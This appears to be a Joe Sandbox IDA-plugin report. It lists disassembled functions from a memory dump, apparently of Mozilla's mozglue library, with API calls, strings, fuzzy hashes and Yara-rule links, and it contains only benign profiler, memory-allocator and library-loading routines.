Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction ID: dbfb89039c02f222b4e8578100ebe23204c7e3c60010c0d8b7a0a5392eb98bc5
Opcode Fuzzy Hash: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction Fuzzy Hash: 0211E371209A05AFCB40AF58C8489A5B77DFF9635DB280015FA09A3F01CB71F861CBA1

Function 6C961FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C961FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C961FFD
__Init_thread_footer.LIBCMT ref: 6C962011
FreeLibrary.KERNEL32 ref: 6C962059

Strings

CoCreateInstance, xrefs: 6C961FF7
combase.dll, xrefs: 6C961FD9

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction ID: a05e65fbecb88758537929cf5cc8fa50c83dc609a7091692d6ff7701b3159862
Opcode Fuzzy Hash: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction Fuzzy Hash: 29115175209A05EFEF10CF55C84EE667B79EB86359F208419F905A3A80C731F890DFA1

Function 6C960EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C98D9F0,00000000), ref: 6C960F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C960F3C
__Init_thread_footer.LIBCMT ref: 6C960F50
FreeLibrary.KERNEL32(?,6C98D9F0,00000000), ref: 6C960F86

Strings

combase.dll, xrefs: 6C960F18
CoInitializeEx, xrefs: 6C960F36

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction ID: db76d53b309ef7e029be97d9141d51536daebdb60b8c645d9d77956a38dafc03
Opcode Fuzzy Hash: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction Fuzzy Hash: EC110630719A419BEF00CF55C949A693778EB8B32AF208619E905B3B80DB30F480CA69

Function 6C99F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F561

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F585
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C99F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C99F3A8
[I %d/%d] profiler_resume, xrefs: 6C99F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C99F56A

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction ID: aa67c257549bbc056e8f111de936c12045696a46ba325a43ddb5548bf236ee4b
Opcode Fuzzy Hash: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction Fuzzy Hash: 27F0B475204A049FDB006F699C4C96A77BDEB9629EF294015FA09A3701CF31E84087B1

Function 6C99F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction ID: 8c8f31107bf0dabd3aea7ad4356660dd60110da7ec23acc7c525b99d64a93a69
Opcode Fuzzy Hash: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction Fuzzy Hash: 07F0B475204A04AFDF006F688C4C95A777DEB9625EF254015FA09A3701CB75E84587B1

Function 6C960E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C960DF8), ref: 6C960E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C960EA1
__Init_thread_footer.LIBCMT ref: 6C960EB5
FreeLibrary.KERNEL32 ref: 6C960EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C960E9B
kernel32.dll, xrefs: 6C960E7D

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction ID: 65fc3a797f989c6b03bbc0683c11bc91570c852e558421845a6d685752eb891e
Opcode Fuzzy Hash: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction Fuzzy Hash: D9014B74708A828BEF018FE9CA96BC273B5E766B1DF205525D901A3F80DB74F484CA56

Function 6C9905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C98CFAE,?,?,?,6C9531A7), ref: 6C9905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C98CFAE,?,?,?,6C9531A7), ref: 6C990616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9531A7), ref: 6C99061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9531A7), ref: 6C990627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C99061B, 6C990625
<jemalloc>, xrefs: 6C9905FA, 6C99060F

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction ID: 4ab761612b90a7cc9a4172cf68e3dfbe69a8d3ff13eb501e7c7b282a36168844
Opcode Fuzzy Hash: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction Fuzzy Hash: 1CE08CE2A0101037F614225ABC86DBB7A1CDBDA134F080039FE0D82741E94AFD1A51F7

Function 6C9605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction ID: 37056422203d542312f73db08791f16c3d8635f9fd490470ecfef97f7501e69f
Opcode Fuzzy Hash: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction Fuzzy Hash: 80A16A70A05605CFDB14CF29C984A99FBF5BF49304F5486AED44AA7B40D730BA95CF90

Function 6C9B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B14E2
GetCurrentThreadId.KERNEL32 ref: 6C9B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9B15BA
free.MOZGLUE(?), ref: 6C9B16B4

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction ID: 5603e48839bfa033874eb59e7bb1d8b95b75ccec8b4ea55c9fd9923afc74763e
Opcode Fuzzy Hash: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction Fuzzy Hash: 8561DF72A05700EBDB118F64C880BDEB7B5BF9A308F04851CED8A67711DB31E999CB91

Function 6C9A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A9FDB
free.MOZGLUE(?,?), ref: 6C9A9FF0
free.MOZGLUE(?,?), ref: 6C9AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9AA0BE
free.MOZGLUE(?,?), ref: 6C9AA0D5
free.MOZGLUE(?,?), ref: 6C9AA0EB

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction ID: e92d98efe0ba971143f20b948222a7e7f1b7473426a01bcc9f839b9d99cffe8e
Opcode Fuzzy Hash: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction Fuzzy Hash: 6261DF754096019FC751CF58C48059AB3F5FF98328F148669E8999B702EB32E986CFD1

Function 6C9ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9AD38A,?), ref: 6C9ADC6F
free.MOZGLUE(?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9AD38A,?), ref: 6C9ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9AD38A,?), ref: 6C9ADD4A

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction ID: 935987abb3a558640313b70b9eca53db3ade4ce5fc80780065d94d58081a4af8
Opcode Fuzzy Hash: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction Fuzzy Hash: 52419CB6A00605DFCB00CF99C88099AB7F5FF98304B654469DD05ABB10D731FC01CBA0

Function 6C996590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9967C8

Part of subcall function 6C9A4290: memcpy.VCRUNTIME140(?,?,6C9B2003,6C9B0AD9,?,6C9B0AD9,00000000,?,6C9B0AD9,?,00000004,?,6C9B1A62,?,6C9B2003,?), ref: 6C9A42C4

Strings

data, xrefs: 6C996593

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction ID: ab996b97badea893eaba6de8e0d50924e7c97fa7344ac8d40f2b1daa6674e183
Opcode Fuzzy Hash: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction Fuzzy Hash: 48D1DF71A093408FD764CF25C841B9FB7E5AFE5308F14892DE48997B91DB30E949CB92

Function 6C9AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AC842

Part of subcall function 6C9ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9CB5EB,00000000), ref: 6C9ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9AC863
std::_Facet_Register.LIBCPMT ref: 6C9AC875

Part of subcall function 6C98B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9CB636,?), ref: 6C98B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AC8BC

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction ID: de425f6e6c87dabd49fb10cc3ef8815e54e3b4c49c74c4dc543ed5eed866ae8f
Opcode Fuzzy Hash: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction Fuzzy Hash: BB11B675B046099BCB04DFA4C8899AE7BB9FF99354B200529E606AB340DB31E945CB91

Function 6C98D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C95EB57,?,?,?,?,?,?,?,?,?), ref: 6C98D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C95EB57,?), ref: 6C98D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C95EB57,?), ref: 6C98D673
free.MOZGLUE(?), ref: 6C98D888

Strings

|Enabled, xrefs: 6C98D81E

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction ID: ae2d65971eccd17b55a861f867e3a7f3383b642317c9b2e2e44136f856ecc815
Opcode Fuzzy Hash: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction Fuzzy Hash: E4A136B1A063099FDF00CF69C4907AEBBF5AF59318F58845ED885ABB41C731E845CBA1

Function 6C98F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C98F480

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

CloseHandle.KERNEL32(00000000), ref: 6C98F555

Part of subcall function 6C9614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C961248,6C961248,?), ref: 6C9614C9
Part of subcall function 6C9614B0: memcpy.VCRUNTIME140(?,6C961248,00000000,?,6C961248,?), ref: 6C9614EF

Part of subcall function 6C95EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C95EEE3

CreateFileW.KERNEL32 ref: 6C98F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C98F523

Strings

\oleacc.dll, xrefs: 6C98F4CB

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
